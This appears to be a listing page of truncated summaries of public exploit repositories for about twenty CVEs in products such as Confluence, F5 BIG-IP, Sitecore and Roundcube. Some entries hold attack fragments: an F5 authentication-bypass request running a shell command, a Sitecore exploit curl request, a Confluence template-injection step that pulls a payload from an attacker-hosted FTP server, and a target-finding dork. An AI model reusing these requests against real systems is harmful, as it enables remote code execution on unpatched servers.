CVE-2021-26084

CVE-2021-26084 CVE-2021-26084 Remote Code Execution on Confluence Servers. Dork Fofa: app="ATLASSIAN-Confluence" Usage Show help information. python PoC.py Vulnerability verification for individual websites. python PoC.py -u https://1.1.1.1 Command execution. python PoC.py -u https://1.1.1.1 -e...

CVE-2022-1388_PoC

F5 BIG-IP RCE exploitation CVE-2022-1388 POST 1: POST /mgmt/tm/util/bash HTTP/1.1 Host: :8443 Authorization: Basic YWRtaW46 Connection: keep-alive, X-F5-Auth-Token X-F5-Auth-Token: 0 "command": "run" , "utilCmdArgs": " -c 'id' " curl commandliner: $ curl -i -s -k -X $'POST' \ -H $'Host: :8443' \ ...

rocketcat-cve-2021-22911-exploit

Rocket.Chat CVE-2021-22911 Exploit ⚠️ DISCLAIMER - EDUCATIONAL USE ONLY This exploit is for authorized penetration testing and educational purposes only. Unauthorized access to computer systems is illegal. The author is not responsible for any misuse. 📋 Overview CVE-2021-22911 is a critical...

parquet-avro-rce

This repository does not have a README...

PrestaShop-CVE-2018-19126

PrestaShop Back Office Remote Code Execution CVE-2018-19126 This is the PoC for CVE-2018-19126, chaining multiple vulnerabilities in PrestaShop Back Office to trigger deserialization via phar to achieve remote code execution. Prerequisite: PrestaShop 1.6.x before 1.6.1.23 or 1.7.x before 1.7.4.4...

CVE-2025-49113_exploit_cookies

CVE-2025-49113 - Roundcube Webmail Remote Code Execution Vulnerability Technical Overview CVE-2025-49113 is a critical insecure deserialization vulnerability in Roundcube Webmail that enables authenticated remote code execution. The vulnerability stems from improper handling of serialized PHP...

CVE-2024-42640

CVE-2024-42640 angular-bug CVE-2024-42640 Unauthenticated Remote Code Execution via Angular-Base64-Upload Library for more details: blog Introduction angular-base64-upload versions prior to v0.1.21 are vulnerable to unauthenticated remote code execution via the angular-base64-upload/demo/server.p...

CVE-2023-32315

CVE-2023-32315 Openfire Console Authentication Bypass Vulnerability with RCE plugin Setup git clone https://github.com/miko550/CVE-2023-32315.git cd CVE-2023-32315 pip3 install -r requirements.txt Usage python3 CVE-2023-32315.py -t http://127.0.0.1:9090 python3 CVE-2023-32315.py -l lists.txt Step...

ms08-067

📖 Overview This repository contains a Metasploit module implementation for the MS08-067 Windows Server Service vulnerability CVE-2008-4250. This is a classic remote code execution vulnerability affecting older Windows systems. 🛠️ Installation & Usage Prerequisites Kali Linux Metasploit Framework...

CVE-2025-67435-PoC

CVE-2025-67435 Researcher : Chowdhury Faizal Ahammed PluckCMS Zip Slip Remote Code Execution Vulnerability Report Executive Summary This report documents a critical security vulnerability discovered in PluckCMS that allows authenticated attackers to achieve remote code execution through a Zip Sli...

CVE-2025-56513-NiceHash-Update-Chain-Compromise

CVE-2025-56513 Critical Supply-Chain Vulnerability in NiceHash QuickMiner Update Mechanism Author: Prince T Philip Role: Independent Security Researcher Severity: CRITICAL — CVSS 9.8 Impact: Remote Code Execution / Supply-Chain Compromise Status: Publicly Disclosed & Assigned CVE-2025-56513...

XworkStruts-RCE

XworkStruts-RCE CVE-2017-5638 XworkStruts RCE Vuln test script The Jakarta Multipart parser in Apache Struts 2 2.3.x before 2.3.32 and 2.5.x before 2.5.10.1 has incorrect exception handling and error-message generation during file-upload attempts, which allows remote attackers to execute arbitrar...

CVE-2026-8461-EXP

CVE-2026-8461 "PixelSmash" — FFmpeg MagicYUV Heap OOB Write PoC !WARNING This repository contains a working exploit PoC for a heap corruption vulnerability. It is intended solely for authorized security research, CTF contexts, and defensive analysis. Do not use against systems you do not own or...

CVE-2024-21762-Exploit-PoC-Fortinet-SSL-VPN-Check

CVE-2024-21762-Exploit-PoC-Fortinet-SSL-VPN-Check Check if your firewall is vulnerable to CVE-2024-21762 unauthenticated RCE For more information about the vulnerability: https://cuty.io/TKyfFh Subscribe or join my social networks for more HACKING!! Learn to detect the vulnerability and protect...

CVE-2022-29464

CVE-2022-29464 WSO2 RCE Usage : python3 exploit.py https://host:9443/ ArbitraryShellName.jsp...

CVE-2024-21413

CVE-2024-21413 - Critical Remote Code Execution Vulnerability in Microsoft Outlook Setup 1. Create a config.ini file in the same directory as the script with the following format: emailcredentials senderemail = [email protected] senderpassword = yourapppassword smtpserver = smtp.gmail.com...

CVE-2023-35813_PoC

curl -k -v -X POST "https://target/sitecorexaml.ashx/-/xaml/Sitecore.Xaml.Tutorials.Styles.Index" -H "Content-Type: application/x-www-form-urlencoded" --data-urlencode "ISEVENT=1" --data-urlencode "SOURCE=" --data-urlencode "PARAMETERS=ParseControl" ""...

CVE-2019-3396_EXP

CVE-2019-3396EXP CVE-2019-3396 confluence SSTI RCE 1、put the cmd.vm on your website must use ftp or https ,http doesn't work 2、modify RCEexp.py ，change the filename = 'ftp://1.1.1.1/cmd.vm' （python -m pyftpdlib -p 21） 3、python RECexp.py http://test.wikitest.cc:8080 "whoami" $ python RECexp.py...

CVE-2023-43838

CVE-2023-43838 An arbitrary file upload vulnerability in Personal Management System v1.4.64 allows attackers to execute arbitrary code via uploading a crafted SVG file into a user profile's avatar. Additional Information 1. Create alert.svg with the following content: alert"huntr.dev"; 2. Host .S...

omigod-lab

Readme An educational lab VM to learn about the 9.6 CVSS unauthenticated Remote Code Execution RCE vulnerability in Open Management Infrastructure software CVE-2021-38647. Disclosure original research: https://www.wiz.io/blog/omigod-critical-vulnerabilities-in-omi-azure OMI source code:...